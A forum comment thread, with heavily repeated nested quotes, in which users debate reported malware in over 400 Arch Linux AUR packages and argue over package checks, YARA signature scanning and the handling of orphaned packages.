The Arch Linux AUR had over 400 packages compromised with malware

Quoting: Breizh

the Arch Linux AUR (Arch User Repository) needs some better security and package checks […] for some improvements to the packaging processes to prevent this from happening in future.

Well, there is no check at all currently. The AUR is just a way for user to share what they use personnally, it shouldn’t be trusted.

People that use AUR recipes without checking them before can only be angry against themself, it’s like getting a random script on GitHub and running it blindly…

Of course, cleaning the AUR as it’s going now is a good thing, but Arch could simply close the AUR and ask people to share their PKGBUILDs elsewhere instead.

That's my point though - it *needs* some checks. Otherwise, the people responsible for keeping the AUR online become responsible for helping to spread malware. Just telling people to check whatever code or recipe isn't going to cut it.

Quoting: Liam Squires-Hand

Quoting: Breizh

the Arch Linux AUR (Arch User Repository) needs some better security and package checks […] for some improvements to the packaging processes to prevent this from happening in future.

Well, there is no check at all currently. The AUR is just a way for user to share what they use personnally, it shouldn’t be trusted.

People that use AUR recipes without checking them before can only be angry against themself, it’s like getting a random script on GitHub and running it blindly…

Of course, cleaning the AUR as it’s going now is a good thing, but Arch could simply close the AUR and ask people to share their PKGBUILDs elsewhere instead.

That's my point though - it *needs* some checks. Otherwise, the people responsible for keeping the AUR online become responsible for helping to spread malware. Just telling people to check whatever code or recipe isn't going to cut it.

While you are rising a valid point, I don't see how that could happen. AUR packages can pull sources from anywhere and run any kind of script, and thus automated checks do not seem possible. And if they manually check them, well, they would just not be AUR packages, they would be normal packages.

IMO they should implement a system to report packages, but other than that I think there's little they can do other than closing AUR entirely (and IMO that would be a great loss, I am currently using 54 AUR packages on my system, and I maintain 14 of them: https://aur.archlinux.org/packages?SeB=m&K=doragasu).

Also note that IMO this problem is not that big for power users using Arch, but for users of Arch derivatives that incorporate tools that automatically install and update software from AUR without the user understanding the risks. On standard Arch, for you to install an AUR packages you have to follow the wiki to manually build at the very least an AUR helper, and understand the risks.

Quoting: doragasu

Quoting: Liam Squires-Hand

Quoting: Breizh

the Arch Linux AUR (Arch User Repository) needs some better security and package checks […] for some improvements to the packaging processes to prevent this from happening in future.

Well, there is no check at all currently. The AUR is just a way for user to share what they use personnally, it shouldn’t be trusted.

People that use AUR recipes without checking them before can only be angry against themself, it’s like getting a random script on GitHub and running it blindly…

Of course, cleaning the AUR as it’s going now is a good thing, but Arch could simply close the AUR and ask people to share their PKGBUILDs elsewhere instead.

That's my point though - it *needs* some checks. Otherwise, the people responsible for keeping the AUR online become responsible for helping to spread malware. Just telling people to check whatever code or recipe isn't going to cut it.

While you are rising a valid point, I don't see how that could happen. AUR packages can pull sources from anywhere and run any kind of script, and thus automated checks do not seem possible. And if they manually check them, well, they would just not be AUR packages, they would be normal packages.

IMO they should implement a system to report packages, but other than that I think there's little they can do other than closing AUR entirely (and IMO that would be a great loss, I am currently using 54 AUR packages on my system, and I maintain 14 of them: https://aur.archlinux.org/packages?SeB=m&K=doragasu).

Also note that IMO this problem is not that big for power users using Arch, but for users of Arch derivatives that incorporate tools that automatically install and update software from AUR without the user understanding the risks. On standard Arch, for you to install an AUR packages you have to follow the wiki to manually build at the very least an AUR helper, and understand the risks.

If they cannot do any checks - that's just a glaring flaw in the entire design of the AUR and so yes - it should be shut. If it's just going to repeatedly be a huge security issue like this, then why should it exist? It's dangerous.

don't panic. all of your aur packages are fine, if you use a dozen of popular ones, that were not orphaned. still, check the mailing list just in case.

i wish official arch linux repos included packages that other distros do, even some arch based repos include apps like heroic launcher and vesktop. debian has vmtouch.

meanwhile arch repos have some half broken image viewers and similar abandonware, that should be removed

Quoting: doragasu

Quoting: Liam Squires-Hand

Quoting: Breizh

the Arch Linux AUR (Arch User Repository) needs some better security and package checks […] for some improvements to the packaging processes to prevent this from happening in future.

Well, there is no check at all currently. The AUR is just a way for user to share what they use personnally, it shouldn’t be trusted.

People that use AUR recipes without checking them before can only be angry against themself, it’s like getting a random script on GitHub and running it blindly…

Of course, cleaning the AUR as it’s going now is a good thing, but Arch could simply close the AUR and ask people to share their PKGBUILDs elsewhere instead.

That's my point though - it *needs* some checks. Otherwise, the people responsible for keeping the AUR online become responsible for helping to spread malware. Just telling people to check whatever code or recipe isn't going to cut it.

While you are rising a valid point, I don't see how that could happen. AUR packages can pull sources from anywhere and run any kind of script, and thus automated checks do not seem possible. And if they manually check them, well, they would just not be AUR packages, they would be normal packages.

IMO they should implement a system to report packages, but other than that I think there's little they can do other than closing AUR entirely (and IMO that would be a great loss, I am currently using 54 AUR packages on my system, and I maintain 14 of them: https://aur.archlinux.org/packages?SeB=m&K=doragasu).

Also note that IMO this problem is not that big for power users using Arch, but for users of Arch derivatives that incorporate tools that automatically install and update software from AUR without the user understanding the risks. On standard Arch, for you to install an AUR packages you have to follow the wiki to manually build at the very least an AUR helper, and understand the risks.

Although certainly not perfect an automated hash check for known [malware signatures](https://github.com/Yara-Rules/rules) would greatly help.
Malware writers are a lazy bunch they tend to automate their injection and reuse code.
This at least limits their scale.

Quoting: GrishnakhNot panicking, for now, as I don't use npm or have any apps that do. But I agree with the sentiment: Oh dear.

You don't have to use npm to be affected. If you use any of the affected aur packages and you updated them in the last week or so then you might want to check your repos.

The AUR isn't inherently any more dangerous than the official repos, the maintainers there could easily miss a malicious change like this by not checking out the npm packages that are downloaded. This only affects orphaned packages, that's where the problem lies. Quite frankly I think they should suspend or even delete PKGBUILDs that become orphaned instead, only allowing them to be claimed after going through a verification process. I'm sure helpers would be able to check for a flag that says the entry has been suspended and inform the user.
It would be different if the AUR operated more like Gentoo where you have to build the packages yourself, but PKGBUILDs abstract almost all of the process away to the point where the AUR isn't just a place to share scripts, it's a repository of automated installs.